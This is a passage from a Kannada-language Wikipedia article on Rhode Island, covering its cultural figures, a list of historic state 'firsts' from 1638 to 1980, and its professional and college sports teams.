ಬೋವಿಯರ್ ಬೇಸಿಗೆ ಮನೆಯ ಹ್ಯಾಮರ್‌ಸ್ಮಿತ್ ಫಾರಂನಲ್ಲಿ ನಡೆಸಲಾಯಿತು. ವ್ಯಂಗ್ಯಚಿತ್ರಕಾರ ಡಾನ್ ಬೌಸ್‌ಕ್ವೆಟ್ ರಾಜ್ಯದ ಸಂಕೇತವಾಗಿದ್ದು, ರೋಡ್ ಐಲೆಂಡ್ ಸಂಸ್ಕೃತಿಯಿಂದ ವೃತ್ತಿಜೀವನ ರೂಪಿಸಿಕೊಂಡ. ''ಪ್ರಾವಿಡೆನ್ಸ್ ಜರ್ನಲ್'' ಮತ್ತು ''ಯಾಂಕೀ '' ನಿಯತಕಾಲಿಕೆಗಳಲ್ಲಿ ರೋಡ್ ಐಲೆಂಡ್ ವಿಷಯಗಳ ಬಗ್ಗೆ ಹಾಸ್ಯಾಸ್ಪದ ವ್ಯಂಗ್ಯಚಿತ್ರಗಳನ್ನು ಬಿಡಿಸಿದ್ದಾನೆ. ಈ ವ್ಯಂಗ್ಯಚಿತ್ರಗಳನ್ನು ಕ್ವುಹಾಹಾಗ್ ಕಾಗದದ ರಟ್ಟಿನ ಪುಸ್ತಕಗಳ ಸರಣಿ (''I ಬ್ರೇಕ್ ಫಾರ್ ಕುವಾಹಾಗ್ಸ್'' , ''ಬಿವೇರ್ ಆಫ್ ದಿ ಕುವಾಹಾಗ್'' ''ದಿ ಕುವಾಹಾಗ್ ವಾಕ್ಸ್ ಎಮಾಂಗ್ ಅಸ್'' ನಲ್ಲಿ ಮರುಮುದ್ರಿಸಲಾಗಿದೆ. ಬೌಸ್‌ಕ್ವೆಟ್ ಹಾಸ್ಯಲೇಖಕ ಮತ್ತು ''ಪ್ರಾವಿಡೆನ್ಸ್ ಜರ್ನಲ್'' ಅಂಕಣಕಾರ ಮಾರ್ಕ್ ಪಾಟಿನ್‌ಕನ್ ಜತೆ ಎರಡು ಪುಸ್ತಕಗಳಾದ ದಿ ''ರೋಡ್ ಐಲೆಂಡ್ ನಿಘಂಟು'' ಮತ್ತು ''ರೋಡ್ ಐಲೆಂಡ್ ಕೈಪಿಡಿ'' ಗಳ ತಯಾರಿಕೆಯಲ್ಲಿ ಜತೆಗೂಡಿ ಕೆಲಸ ಮಾಡಿದ್ದರು. ಲೇಖಕ ಡೇವಿಡ್ ಲ್ಯಾಫ್‌ಲೀಚ್ ಥಂಡರ್‌ಮಿಸ್ಟ್ ಅರೆ ಕಾಲ್ಪನಿಕ ನಗರವನ್ನು ಆಧರಿಸಿ, ''ಥಂಡರ್‌ಮಿಸ್ಟ್ 04167'' ಮತ್ತು''ಎ ವೀಕ್ ವಿತೌಟ್ ಸನ್‌ಶೈನ್'' ಎಂಬ ಎರಡು ಪುಸ್ತಕಗಳನ್ನು ಬರೆದಿದ್ದಾರೆ. ("ಥಂಡರ್‌ಮಿಸ್ಟ್‌"ನ್ನು ವೂನ್‌ಸಾಕೆಟ್‌ನ ಎರಡನೇ ಹೆಸರಾಗಿ ಸ್ವೀಕರಿಸಲಾಯಿತು.) 1998ರ ಚಲನಚಿತ್ರ ಮೀಟ್ ಜೋಯಿ ಬ್ಲಾಕ್ ಆಲ್ಡ್ರಿಕ್ ಮ್ಯಾನ್‌ಶನ್‌ನಲ್ಲಿ ವಾರ್ವಿಕ್, RIನ ವಾರ್ವಿಕ್ ನೆಕ್ ಪ್ರದೇಶದಲ್ಲಿ ಚಿತ್ರೀಕರಿಸಿಕೊಳ್ಳಲಾಯಿತು. === ರೋಡ್ ಐಲೆಂಡ್ ಪ್ರಖ್ಯಾತ ಪ್ರಥಮಗಳು === [[ಚಿತ್ರ:N3419822 34808146 7175northernRI.jpg|thumb|right|ಗಿಲ್ಬರ್ಟ್ ಸ್ಟಾರ್ಟ್ ಜನ್ಮಸ್ಥಳ, ನಾರ್ತ್ ಕಿಂಗ್‌ಸ್ಟೌನ್, RI]] [[ಚಿತ್ರ:Rhodeislandcoastline.jpg|thumb|left|ಕರಾವಳಿ RI (ರೋಡ್ ಐಲೆಂಡ್) ದೃಶ್ಯ]] [[ಚಿತ್ರ:N3419822 34808159 585southeastern.jpg|thumb|right|ದಕ್ಷಿಣ RIನ ಬಳಿ ಗ್ರಾಮೀಣ ದೃಶ್ಯ]] ರೋಡ್ ಐಲೆಂಡ್ ಅನೇಕ ವಿಷಯಗಳಲ್ಲಿ ಪ್ರಥಮ ಎಂಬ ಖ್ಯಾತಿ ಗಳಿಸಿದೆ. ರಾಜ್ಯದ ಕೆಲವು ಪ್ರಖ್ಯಾತ ಪ್ರಥಮಗಳಲ್ಲಿ 1652ರ ಮೇ 18ರಂದು ಉತ್ತರ ಅಮೆರಿಕದಲ್ಲಿ ಗುಲಾಮಪದ್ಧತಿಯನ್ನು ನಿಷೇಧಿಸಿ ರೂಪಿಸಿದ [[ಕಾನೂನು]] ಸೇರಿದೆ.<ref name="history">{{cite web|url=http://www2.sec.state.ri.us/special_projects/0304_Owners_Manual/pdf/history.pdf|publisher=Rhode Island State Library|title=Rhode Island history and facts of interest|accessdate=August 28, 2007|format=PDF|archive-date=ಅಕ್ಟೋಬರ್ 27, 2004|archive-url=https://web.archive.org/web/20041027005730/http://www2.sec.state.ri.us/special_projects/0304_Owners_Manual/pdf/history.pdf|url-status=dead}}</ref> ಪಾವ್‌ಟಕೆಟ್‌ನಲ್ಲಿರುವ ಸ್ಲೇಟರ್ ಗಿರಣಿಯು ಅಮೆರಿಕದಲ್ಲಿ ಪೂರ್ಣ ಯಾಂತ್ರೀಕೃತ ವಿದ್ಯುತ್ ವ್ಯವಸ್ಥೆಯೊಂದಿಗೆ ಪ್ರಥಮ ವಾಣಿಜ್ಯ ಯಶಸ್ಸಿನ ಹತ್ತಿ ನೂಲುವ ಗಿರಣಿಯಾಗಿದ್ದು, USನಲ್ಲಿ ಕೈಗಾರಿಕೆ ಕ್ರಾಂತಿಯು ಹುಟ್ಟಿದ ಸ್ಥಳವಾಗಿದೆ.<ref>{{cite web|url=http://www.slatermill.org/?pg=about|title=Slater Mill Today|publisher=Slater Mill Historic Site|accessdate=August 28, 2007}}</ref> ರಾಷ್ಟ್ರದಲ್ಲಿ ಪ್ರಾಚೀನ ಫೋರ್ತ್ ಆಫ್ ಜುಲೈ ಪೆರೇಡ್‌ ರೋಡ್ ಐಲೆಂಡ್, ಬ್ರಿಸ್ಟಲ್‌ನಲ್ಲಿ ಈಗಲೂ ವಾರ್ಷಿಕವಾಗಿ ನಡೆಸಲಾಗುತ್ತದೆ. ಅಮೆರಿಕದಲ್ಲಿ ಪ್ರಥಮ ಬ್ಯಾಪ್ಟಿಸ್ಟ್ ಚರ್ಚ್‌ನ್ನು 1638ರಲ್ಲಿ ಪ್ರಾವಿಡೆನ್ಸ್‌ನಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು.<ref>[http://www.fbcia.org/page110.html ದಿ ಫರ್ಸ್ಟ್ ಬ್ಯಾಪ್ಟಿಸ್ಟ್ ಚರ್ಚ್] {{Webarchive|url=https://web.archive.org/web/20100113185728/http://www.fbcia.org/page110.html |date=ಜನವರಿ 13, 2010 }}.</ref> ನ್ಯೂಪೋರ್ಟ್ ಮರ್ಕ್ಯುರಿಯ ಆನ್ ಸ್ಮಿತ್ ಫ್ರಾಂಕ್‌ಲಿನ್ ಅಮೆರಿಕದಲ್ಲಿ ಪ್ರಥಮ ಮಹಿಳಾ ಸುದ್ದಿಪತ್ರಿಕೆ ಸಂಪಾದಕಿ(1762ರ ಆಗಸ್ಟ್ 22) ಅವರು ರೋಡ್ ಐಲೆಂಡ್ ನ್ಯೂಪೋರ್ಟ್‌ನ ನ್ಯೂಪೋರ್ಟ್ ಮರ್ಕ್ಯುರಿಯ ಸಂಪಾದಕಿಯಾಗಿದ್ದರು.<ref name="history" /> ಅಮೆರಿಕದಲ್ಲಿ ಟೌರೊ ಸಿನಗಾಗ್,ಪ್ರಥಮ ಯಹೂದ್ಯರ ಆರಾಧನ ಮಂದಿರವನ್ನು 1763ರಲ್ಲಿ ನ್ಯೂಪೋರ್ಟ್‌ನಲ್ಲಿ ಪ್ರಪ್ರಥಮವಾಗಿ ಸ್ಥಾಪಿಸಲಾಯಿತು.<ref name="history" /> ಅಮೆರಿಕದಲ್ಲಿ ಬ್ರಿಟಿಷ್ ಪ್ರಭುತ್ವದ ವಿರುದ್ಧ ಸಶಸ್ತ್ರ ದಂಗೆಯ ಪ್ರಥಮ ಕೃತ್ಯವು 1772ರ ಜೂನ್ 10ರಂದು ನರಾಗನ್‌ಸೆಟ್ ಕೊಲ್ಲಿಯಲ್ಲಿ ರೆವಿನ್ಯೂ ಸ್ಕೂನರ್ ಗ್ಯಾಸ್ಪಿಯ ಮೇಲೆ ದಾಳಿ ಮಾಡಿ ಸುಟ್ಟುಹಾಕಿದ ಘಟನೆಯಾಗಿದೆ. 1774ರ ಮೇ 17ರಂದು ಪ್ರಾವಿಡೆನ್ಸ್‌ನ ಪಟ್ಟಣ ಸಭೆಯಲ್ಲಿ ಕಾಂಟಿನೆಂಟಲ್ ಕಾಂಗ್ರೆಸ್‌ನ ಕಲ್ಪನೆಯನ್ನು ಪ್ರಥಮ ಬಾರಿಗೆ ಪ್ರಸ್ತಾಪಿಸಲಾಯಿತು. ರೋಡ್ ಐಲೆಂಡ್ ಪ್ರಥಮ ಪ್ರತಿನಿಧಿಗಳಾದ ಸ್ಟೀಫನ್ ಹಾಪ್ಕಿನ್ಸ್ ಮತ್ತು ಸಾಮ್ಯುಯಲ್ ವಾರ್ಡ್ ಅವರನ್ನು 1774ರ ಜೂನ್ 15ರಂದು ಕಾಂಟಿನೆಂಟಲ್ ಕಾಂಗ್ರೆಸ್‌ಗೆ ಆಯ್ಕೆ ಮಾಡಿತು. ರೋಡ್ ಐಲೆಂಡ್ ಜನರಲ್ ಅಸೆಂಬ್ಲಿ 1775ರ ಏಪ್ರಿಲ್ 12ರಂದು ವಸಾಹತುಗಳಲ್ಲಿ ಪ್ರಥಮ ಕಾಯಂ ಸೈನ್ಯವನ್ನು ಸೃಷ್ಟಿಸಿತು.(1,500 ಪುರುಷರು) 1775ರ ಜೂನ್ 15ರಂದು ಅಮೆರಿಕ ಕ್ರಾಂತಿಯ ಪ್ರಥಮ ನೌಕಾ ಕಾಳಗವು ಕ್ಯಾ.ಅಬ್ರಾಹಂ ವಿಪಲ್ ಆಧಿಪತ್ಯದ ವಸಾಹತು ನೌಕೆ ಮತ್ತು ಬ್ರಿಟಿಷ್‌ನ ಸಶಸ್ತ್ರ ದೋಣಿ ಫ್ರೈಗೇಟ್ ರೋಸ್ ನಡುವೆ ಸಂಭವಿಸಿತು. ದೋಣಿಯನ್ನು ಬೆನ್ನಟ್ಟಿ ವಶಕ್ಕೆ ತೆಗೆದುಕೊಳ್ಳಲಾಯಿತು. ನಂತರ ಜೂನ್‌ನಲ್ಲಿ ಜನರಲ್ ಅಸೆಂಬ್ಲಿ ''ಕೇಟಿ'' ಮತ್ತು ''ವಾಷಿಂಗ್ಟನ್‌'' ನೌಕೆಗಳನ್ನು ಯುದ್ಧಸನ್ನದ್ಧಗೊಳಿಸಿದಾಗ ಪ್ರಥಮ ಅಮೆರಿಕನ್ ನೌಕಾದಳ ಸೃಷ್ಟಿಯಾಯಿತು. ಇವು 24 ಬಂದೂಕುಗಳಿಂದ ಶಸ್ತ್ರಸಜ್ಜಿತವಾಗಿದ್ದವು ಮತ್ತು ಅಬ್ರಾಹಂ ವಿಪಲ್ ಆಧಿಪತ್ಯ ವಹಿಸಿದ್ದರು.ಅವರಿಗೆ ಕಾಮಡೋರ್ ಸ್ಥಾನಕ್ಕೆ ಬಡ್ತಿ ನೀಡಲಾಯಿತು. ರೋಡ್ ಐಲೆಂಡ್ 1776ರ ಮೇ 4ರಂದು ಬ್ರಿಟನ್‌ನಿಂದ ಸ್ವಾತಂತ್ರ್ಯ ಘೋಷಿಸಿದ ಪ್ರಥಮ ವಸಾಹತು.<ref name="history" /> 1806ರಲ್ಲಿ ಅಮೆರಿಕದಲ್ಲಿ ಪ್ರಥಮ ಬಾರಿಗೆ ನ್ಯೂಪೋರ್ಟ್‌ನ ಪೆಲ್ಲಂ ಸ್ಟ್ರೀಟ್‌ನಲ್ಲಿ ಅನಿಲದದೀಪವನ್ನು ಬೆಳಗಿಸಲಾಯಿತು.<ref name="history" /> ಮಹಿಳೆಯರು ಭಾಗವಹಿಸಿದ ಅಮೆರಿಕದ ಪ್ರಥಮ ಮುಷ್ಕರವು 1824ರಲ್ಲಿ ಪಾವ್‌ಟಕೆಟ್‌ನಲ್ಲಿ ಸಂಭವಿಸಿತು.<ref name="history" /> ವಾಚ್ ಹಿಲ್ ರಾಷ್ಟ್ರದ ಅತೀ ಪ್ರಾಚೀನ ಗಿರಗಟ್ಟೆ(ಮೆರ್ರಿ ಗೊ ರೌಂಡ್)ಯಾಗಿದ್ದು, 1850ರಿಂದ ಸತತವಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿದೆ.<ref name="history" /> ಚಲನಚಿತ್ರದ ಯಂತ್ರಕ್ಕೆ (ಆನಿಮೇಟೆಡ್ ಚಿತ್ರಗಳನ್ನು ತೋರಿಸುವ ಯಂತ್ರ) 1867 ಏಪ್ರಿಲ್ 23ರಂದು ಪ್ರಾವಿಡನ್ಸ್‌ನಲ್ಲಿ ಪೇಟೆಂಟು(ಸ್ವಾಮ್ಯದ ಹಕ್ಕು) ಪಡೆಯಲಾಯಿತು. ಅಮೆರಿಕದಲ್ಲಿ ಪ್ರಥಮ ಉಪಾಹಾರ ಒದಗಿಸುವ ವ್ಯಾಗನ್‌ನನ್ನು ಪ್ರಾವಿಡೆನ್ಸ್‌ನಲ್ಲಿ 1872ರಲ್ಲಿ ಪರಿಚಯಿಸಲಾಯಿತು.<ref name="history" /> ಅಮೆರಿಕದಲ್ಲಿ ಪ್ರಥಮ 9 ರಂಧ್ರಗಳ ಗಾಲ್ಫ್ ಮೈದಾನವನ್ನು 1890ರಲ್ಲಿ ನ್ಯೂಪೋರ್ಟ್‌ನಲ್ಲಿ ಪೂರ್ತಿಗೊಳಿಸಲಾಯಿತು.<ref name="history" /> ಪ್ರಥಮ ರಾಜ್ಯ ಆರೋಗ್ಯ ಪ್ರಯೋಗಾಲಯವನ್ನು 1894 ಸೆಪ್ಟೆಂಬರ್ 1ರಂದು ಪ್ರಾವಿಡೆನ್ಸ್‌ನಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು.<ref name="history" /> ರೋಡ್ ಐಲೆಂಡ್ ಸ್ಟೇಟ್ ಹೌಸ್ ಅಮೆರಿಕದಲ್ಲಿ ಅಮೃತಶಿಲೆಯ ಗೋಪುರದಿಂದ ನಿರ್ಮಾಣವಾದ ಪ್ರಥಮ ಕಟ್ಟಡವಾಗಿದೆ(1895-1901 ) 1896ರ ಸೆಪ್ಟೆಂಬರ್ 7ರಂದು ಪಥ(ಟ್ರಾಕ್)ದಲ್ಲಿ ಪ್ರಥಮ ಮೋಟಾರು ವಾಹನ ರೇಸ್ ಕ್ರಾನ್‌ಸ್ಟನ್‌ನಲ್ಲಿ ನಡೆಯಿತು.<ref name="history" /> ಪ್ರಥಮ ಮೋಟಾರು ವಾಹನ ಪೆರೇಡ್(ಪಥಸಂಚಲನ)1899 ಸೆಪ್ಟೆಂಬರ್ 7ರಂದು ನ್ಯೂಪೋರ್ಟ್‌ನ ಬೆಲ್‌ಕೋರ್ಟ್ ಮಹಲಿನ ಮೈದಾನದಲ್ಲಿ ನಡೆಯಿತು.<ref name="history" /> ಪ್ರಥಮ [[ನ್ಯಾಷನಲ್ ಫುಟ್ಬಾಲ್ ಲೀಗ್|NFL]] ರಾತ್ರಿ ಆಟವು ಪ್ರಾವಿಡೆನ್ಸ್‌ನ ಕಿನ್ಸ್‌ಲೆ ಪಾರ್ಕ್‌ನಲ್ಲಿ 1929ರ ನವೆಂಬರ್ 6ರಂದು ನಡೆಯಿತು. ಚಿಕಾಗೊ(ಈಗ ಅರಿಜೋನಾ) ಕಾರ್ಡಿನಲ್ಸ್ ತಂಡವು ಪ್ರಾವಿಡೆನ್ಸ್ ಸ್ಟೀಮ್ ರಾಲರ್ ತಂಡವನ್ನು 16 -0ಗೋಲುಗಳಿಂದ ಸೋಲಿಸಿತು. 1980ಲ್ಲಿ ರೋಡ್ ಐಲೆಂಡ್ ವೇಶ್ಯವಾಟಿಕೆಯನ್ನು ನಿರಪರಾಧೀಕರಿಸಿದ ಪ್ರಥಮ ಮತ್ತು ಏಕೈಕ ರಾಜ್ಯವಾಗಿದೆ. ವೇಶ್ಯಾವಾಟಿಕೆಯನ್ನು 2009ರಲ್ಲಿ ಪುನಃ ಕಾನೂನುಬಾಹಿರ(ನಿಷೇಧ)ವಾಗಿಸಲಾಯಿತು. ನೋಡಿ (ರೋಡ್ ಐಲೆಂಡ್‌ನ ವೇಶ್ಯವಾಟಿಕೆ ). == ಕ್ರೀಡೆ == [[ಚಿತ್ರ:Soccstadbryant.jpg|thumb|225px|ಫುಟ್ಬಾಲ್ ಪಂದ್ಯಕ್ಕಾಗಿ ಸ್ಥಾಪಿಸಲಾದ ಬ್ರಯಾಂಟ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ಬುಲ್‌ಡಾಗ್ ಕ್ರೀಡಾಂಗಣ]] [[ಚಿತ್ರ:McCoy Stadium Pan.jpg|thumb|left|225px|ಪಾವ್‌ಕಟ್ ರೆಡ್ ಸಾಕ್ಷ್ ಬೇಸ್‌ಬಾಲ್ ಆಡುವ ಮೆಕಾಯ್ ಕ್ರೀಡಾಂಗಣ]] [[ಚಿತ್ರ:1884grays.jpg|thumb|left|225px|1884 ಬೇಸ್‌ಬಾಲ್ ಚಾಂಪಿಯನ್ ಪ್ರಾವಿಡೆನ್ಸ್ ಗ್ರೇಸ್]] [[ಚಿತ್ರ:MeadeStadium1.jpg|thumbnail|225px|ರೋಡ್ ಐಲೆಂಡ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ಮಿಯೇಡ್ ಸ್ಟೇಡಿಯಂ ಮತ್ತು ರಯಾನ್ ಕೇಂದ್ರ]] ರೋಡ್ ಐಲೆಂಡ್ ಎರಡು ವೃತ್ತಿಪರ ಕ್ರೀಡಾ ತಂಡಗಳನ್ನು ಒಳಗೊಂಡಿದ್ದು, ಎರಡೂ ಬೋಸ್ಟನ್ ತಂಡಗಳಿಗೆ ಉನ್ನತ ಮಟ್ಟದ ಕಿರಿಯ ಲೀಗ್ ಅಂಗಗಳಾಗಿವೆ. AAA ಇಂಟರ್‌ನ್ಯಾಷನಲ್ ಲೀಗ್‌ ‌ನ ಪಾವ್‌ಟಕೆಟ್ ರೆಡ್ ಸಾಕ್ಸ್ ತಂಡವು ಬೋಸ್ಟೋನ್ ರೆಡ್ ಸಾಕ್ಸ್ ಅಂಗವಾಗಿದೆ. ಪಾವ್‌ಟಕೆಟ್ ರೆಡ್ ಸಾಕ್ಸ್ ರೋಡ್ ಐಲೆಂಡ್‌ ಪಾವ್‌ಟಕೆಟ್‌ನ ಮೆಕೋಯಿ ಸ್ಟೇಡಿಯಂನಲ್ಲಿ ಆಡುತ್ತದೆ. ಇದು 1973 ಮತ್ತು 1984ರಲ್ಲಿ ಎರಡು ಲೀಗ್ ಪ್ರಶಸ್ತಿಗಳನ್ನು ಗೆದ್ದಿದೆ. ಇತರೆ ವೃತ್ತಿಪರ ಸಣ್ಣ ಲೀಗ್ ತಂಡವು ಪ್ರಾವಿಡೆನ್ಸ್ ಬ್ರೂನ್ಸ್, ಅದು ಬೋಸ್ಟೊನ್ ಬ್ರೂನ್ಸ್‌ನ ಅಮೆರಿಕನ್ ಹಾಕಿ ಲೀಗ್ ಅಂಗವಾಗಿದೆ. ಪ್ರಾವಿಡೆನ್ಸ್ ಬ್ರೂನ್ಸ್ ಪ್ರಾವಿಡೆನ್ಸ್‌ನ ಡಂಕಿನ್ ಡೋನಟ್ಸ್ ಸೆಂಟರ್‌ನಲ್ಲಿ ಆಡುತ್ತದೆ. 1998–99 AHL ಕ್ರೀಡಾಋತುನಲ್ಲಿ ಇದು AHLನ ಕಾಲ್ಡರ್ ಕಪ್ ಗೆದ್ದುಕೊಂಡಿದೆ. [[ನ್ಯಾಷನಲ್ ಫುಟ್ಬಾಲ್ ಲೀಗ್|ರಾಷ್ಟ್ರೀಯ ಫುಟ್ಬಾಲ್ ಲೀಗ್‌]]ನ ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್ ಪ್ಯಾಟ್ರಿಯಟ್ಸ್ ಸಮೀಪದ ಫಾಕ್ಸ್‌ಬರೊ,ಮಸಾಚುಸೆಟ್ಸ್‌ನ ಗಿಲ್ಲೆಟ್ ಸ್ಟೇಡಿಯಂನಲ್ಲಿ ಆಡುತ್ತದೆ. ಇದು ಪ್ರಾವಿಡೆನ್ಸ್‌ಗೆ ಅಂದಾಜು {{convert|18|mi|km}}ಉತ್ತರಕ್ಕಿದೆ. ಅಲ್ಲಿ ನಾಲ್ಕು NCAAಡಿವಿಷನ್ 1 ಶಾಲೆಗಳಿವೆ. ನಾಲ್ಕು ತಂಡಗಳು ಎಲ್ಲವೂ ನಾಲ್ಕು ವಿಭಿನ್ನ ಕೂಟಗಳಲ್ಲಿ ಸ್ಪರ್ಧಿಸುತ್ತವೆ. ಬ್ರೌನ್ ಯುನಿವರ್ಸಿಟಿ ಬಿಯರ್ಸ್ ಐವಿ ಲೀಗ್‌ನಲ್ಲಿ ಸ್ಪರ್ಧಿಸುತ್ತದೆ. ಬ್ರಯಾಂಟ್ ಬುಲ್‌ಡಾಗ್ಸ್ ನಾರ್ತ್‌ಈಸ್ಟ್ ಕಾನ್ಫರೆನ್ಸ್‌‍ನಲ್ಲಿ ಸ್ಪರ್ಧಿಸುತ್ತದೆ. ಪ್ರಾವಿಡೆನ್ಸ್ ಫ್ರಿಯಾರ್ಸ್ ಬಿಗ್ ಈಸ್ಟ್ ಕಾನ್ಫರೆನ್ಸ್‌ನಲ್ಲಿ ಹಾಗು ರೋಡ್ ಐಲೆಂಡ್ ರಾಮ್ಸ್ ಅಟ್ಲಾಂಟಿಕ್-10 ಕಾನ್ಫರೆನ್ಸ್‌ನಲ್ಲಿ ಸ್ಪರ್ಧಿಸುತ್ತದೆ. ಕಾಲೇಜು ಫುಟ್ಬಾಲ್‌ನ FCS ವಿಭಾಗದಲ್ಲಿ ಮೂರು ಶಾಲೆಗಳು ಸ್ಪರ್ಧಿಸುತ್ತವೆ. ಬ್ರೌನ್,ಬ್ರಯಾಂಟ್ ಮತ್ತು ರೋಡ್ ಐಲೆಂಡ್ ಪ್ರಸಕ್ತ ಫುಟ್ಬಾಲ್ ತಂಡಗಳನ್ನು ಆಡಿಸುವ ಮೂರು ಶಾಲೆಗಳಾಗಿವೆ. ರೋಡ್ ಐಲೆಂಡ್ ಸಹ ಅಥ್ಲೆಟಿಕ್ಸ್‌ನಲ್ಲಿ ಸುದೀರ್ಘ ಮತ್ತು ಪ್ರಖ್ಯಾತ ಇತಿಹಾಸವನ್ನು ಹೊಂದಿದೆ. ರಾಷ್ಟ್ರದಾದ್ಯಂತ ಅಥ್ಲೆಟಿಕ್ಸ್ ತಂಡಗಳ ಮಹಾ ವಿಸ್ತರಣೆಗೆ ಮುಂಚಿತವಾಗಿ, ಪ್ರಾವಿಡೆನ್ಸ್ ಮತ್ತು ರೋಡ್ ಐಲೆಂಡ್ ಬೆಂಬಲಿತ ತಂಡಗಳಾಗಿ ಮಹಾನ್ ಪಾತ್ರವನ್ನು ವಹಿಸಿವೆ. ಪ್ರಾವಿಡೆನ್ಸ್ ಗ್ರೇಸ್ 1884ರ ಬೇಸ್‌ಬಾಲ್ ಇತಿಹಾಸದಲ್ಲಿ ಪ್ರಥಮ ವಿಶ್ವ ಚಾಂಪಿಯನ್‌ಶಿಪ್ ಗೆದ್ದುಕೊಂಡಿತು. ತಂಡವು ಪ್ರಾವಿಡೆನ್ಸ್‌ನ ಓಲ್ಡ್ ಮೆಸ್ಸರ್ ಸ್ಟ್ರೀಟ್ ಮೈದಾನದಲ್ಲಿ ಸ್ವಸ್ಥಳದ ಆಟಗಳನ್ನು ಆಡಿತು. ಗ್ರೇಸ್ ನ್ಯಾಷನಲ್ ಲೀಗ್‌ನಲ್ಲಿ 1878ರಿಂದ 1885ರವರೆಗೆ ಆಡಿತು. ಅದು ಅಮೆರಿಕನ್ ಅಸೋಸಿಯೇಷನ್‌ನ ನ್ಯೂಯಾರ್ಕ್ ಮೆಟ್ರೊಪಾಲಿಟನ್ಸ್ ತಂಡವನ್ನು ನ್ಯೂಯಾರ್ಕ್‌ನ ಪೊಲೊ ಮೈದಾನದಲ್ಲಿ ನಡೆದ ಐದು ಆಟಗಳ ಸರಣಿಯಲ್ಲಿ ಸೋಲಿಸಿತು. ಪ್ರಮುಖ ಲೀಗ್ ಬೇಸ್‌ಬಾಲ್ ಇತಿಹಾಸದಲ್ಲಿ ಪ್ರಾವಿಡೆನ್ಸ್ ಮೂರು ನೇರ ಆಟಗಳಲ್ಲಿ ವಿಜಯಿಯಾಗಿ ಪ್ರಥಮ ಚಾಂಪಿಯೆನ್ಸ್ ಎನಿಸಿತು. ಬೇಬ್ ರಥ್ 1914ರ ಪ್ರಾವಿಡೆನ್ಸ್ ಗ್ರೇಸ್ ಮೈನರ್ ಲೀಗ್‌‌‌ ಪರ ಆಟವಾಡಿ, ಆ ತಂಡಕ್ಕಾಗಿ ಏಕಮಾತ್ರ ಅಧಿಕೃತ ಮೈನರ್ ಲೀಗ್ ಹೋಮ್ ರನ್(ಬ್ಯಾಟರ್ ರನ್ ಸ್ಕೋರು ಮಾಡುವ ಬೇಸ್ ಹೊಡೆತ) ಹೊಡೆದರು. ನಂತರ ಬೋಸ್ಟೊನ್ ರೆಡ್ ಸ್ಟಾಕಿಂಗ್ಸ್‌ನ ಗ್ರೇಸ್ ಪೇರೆಂಟ್ ಕ್ಲಬ್ ಅವರನ್ನು ವಾಪಸು ಕರೆಯಿತು. ಈಗ ಕಾರ್ಯನಿರ್ವಹಿಸದ(ನಿಷ್ಕ್ರಿಯ) ವೃತ್ತಿಪರ ಫುಟ್ಬಾಲ್ ತಂಡವಾದ ಪ್ರಾವಿಡೆನ್ಸ್ ಸ್ಟೀಮ್ ರೋಲರ್ 1928ರ NFL ಪ್ರಶಸ್ತಿಯನ್ನು ಗೆದ್ದುಕೊಂಡಿತ್ತು. ಅವರು 10 ,೦೦೦ ಪ್ರೇಕ್ಷಕರ ಕ್ರೀಡಾಂಗಣವಾದ ಸೈಕಲ್‌ಡ್ರೋಮ್ ಎಂಬಲ್ಲಿ ಆಟವಾಡಿದ್ದರು.<ref>[http://www.nfl.com/history/chronology/1921-1930#1928 NFL ಹಿಸ್ಟರಿ ಬೈ ಡಿಕೇಡ್].</ref> ಇದೇ ಹೆಸರಿನ ತಂಡವಾದ ಪ್ರಾವಿಡೆನ್ಸ್ ಸ್ಟೀಮ್‌ರೋಲರ್ಸ್ ಬ್ಯಾಸ್ಕೆಟ್‌ಬಾಲ್ ಅಸೋಸಿಯೇಷನ್ ಆಫ್ ಅಮೆರಿಕದಲ್ಲಿ ಆಟವಾಡಿದೆ. ಅದು ನಂತರ ರಾಷ್ಟ್ರೀಯ ಬ್ಯಾಸ್ಕೆಟ್‌ಬಾಲ್ ಕ್ರೀಡಾಕೂಟವಾಯಿತು. 1930ರಿಂದ 1983ರವರೆಗೆ ಅಮೆರಿಕಾ`ಸ್ ಕಪ್ ದೋಣಿ ಪಂದ್ಯಗಳು ನ್ಯೂಪೋರ್ಟ್‌ನಲ್ಲಿ ನಡೆಯಿತು. ರಾಜ್ಯದ ರಾಜಧಾನಿ ನಗರದಲ್ಲಿ ಎರಡೂ ಸಾಹಸ ಕ್ರೀಡೆಗಳಾದ X ಗೇಮ್ಸ್ ಮತ್ತು ಗ್ರಾವಿಟಿ ಗೇಮ್ಸ್ ಆರಂಭಿಸಿ ಆಯೋಜಿಸಲಾಯಿತು. ಇಂಟರ್‌ನ್ಯಾಷನಲ್ ಟೆನಿಸ್ ಹಾಲ್ ಆಫ್ ಫೇಮ್ ನ್ಯೂಪೋರ್ಟ್‌ನಲ್ಲಿ ನ್ಯೂಪೋರ್ಟ್ ಕ್ಯಾಸಿನೊದಲ್ಲಿದೆ. ಇದು 1881ರಲ್ಲಿ ಪ್ರಥಮ U.S. ರಾಷ್ಟ್ರೀಯ ಚಾಂಪಿಯನ್‌ಷಿಪ್ ನಡೆದ ಸ್ಥಳವಾಗಿದೆ. ಹಾಲ್ ಆಫ್ ಫೇಮ್ ಮತ್ತು ವಸ್ತುಸಂಗ್ರಹಾಲಯವನ್ನು 1954ರಲ್ಲಿ ಜೇಮ್ಸ್ ವ್ಯಾನ್ ಅಲೆನ್ "ಆಟದ ಆದರ್ಶಗಳ ಮಂದಿರ"ವಾಗಿ 1954ರಲ್ಲಿ ಸ್ಥಾಪಿಸಿದರು. ಹಾಲ್ ಆಫ್ ಫೇಮ್ ವಸ್ತುಸಂಗ್ರಹಾಲಯವು ಟೆನ್ನಿಸ್ ಇತಿಹಾಸದಲ್ಲಿ ಆವರಿಸಿದೆ. ಇದು 12ನೇ ಶತಮಾನದಿಂದ ಇಂದಿನವರೆಗೆ ತನ್ನ ಶ್ರೇಷ್ಠತೆಯನ್ನು ದಾಖಲಿಸಿದೆ. ಹಾಲ್ ಆಫ್ ಫೇಮ್ 13 ಹುಲ್ಲಿನಅಂಕಣಗಳನ್ನು ಒಳಗೊಂಡಿದೆ. ಇದು ಹಾಲ್ ಆಫ್ ಫೇಮ್ ಟೆನ್ನಿಸ್ 